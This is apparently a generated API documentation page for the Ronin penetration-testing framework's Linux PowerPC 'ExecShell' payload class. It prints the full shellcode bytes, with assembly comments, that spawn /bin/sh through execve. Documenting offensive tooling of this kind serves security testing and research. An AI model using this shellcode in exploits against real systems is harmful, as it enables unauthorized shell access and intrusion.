Class: Ronin::Payloads::Shellcode::Linux::PPC::ExecShell
- Inherits:
-
ExecShellPayload
- Object
- Payload
- BinaryPayload
- ASMPayload
- Ronin::Payloads::ShellcodePayload
- ExecShellPayload
- Ronin::Payloads::Shellcode::Linux::PPC::ExecShell
- Defined in:
- lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb
Overview
Linux PPC shellcode that calls execve()
with /bin/sh
.
Instance Attribute Summary
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the shellcode.
Methods inherited from Ronin::Payloads::ShellcodePayload
Methods inherited from ASMPayload
#assemble, assembler, payload_type
Methods included from Metadata::OS
Methods included from Metadata::Arch
Methods inherited from BinaryPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the shellcode.
54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
# File 'lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb', line 54 def build @payload = "\x7c\x3f\x0b\x78" + # mr r31,r1 "\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 "\x42\x40\xff\xf9" + # bdzl+ 10000454< main> "\x7f\x08\x02\xa6" + # mflr r24 "\x3b\x18\x01\x34" + # addi r24,r24,308 "\x98\xb8\xfe\xfb" + # stb r5,-261(r24) "\x38\x78\xfe\xf4" + # addi r3,r24,-268 "\x90\x61\xff\xf8" + # stw r3,-8(r1) "\x38\x81\xff\xf8" + # addi r4,r1,-8 "\x90\xa1\xff\xfc" + # stw r5,-4(r1) "\x3b\xc0\x01\x60" + # li r30,352 "\x7f\xc0\x2e\x70" + # srawi r0,r30,5 "\x44\xde\xad\xf2" + # .long 0x44deadf2 "/bin/shZ" # the last byte becomes NULL end |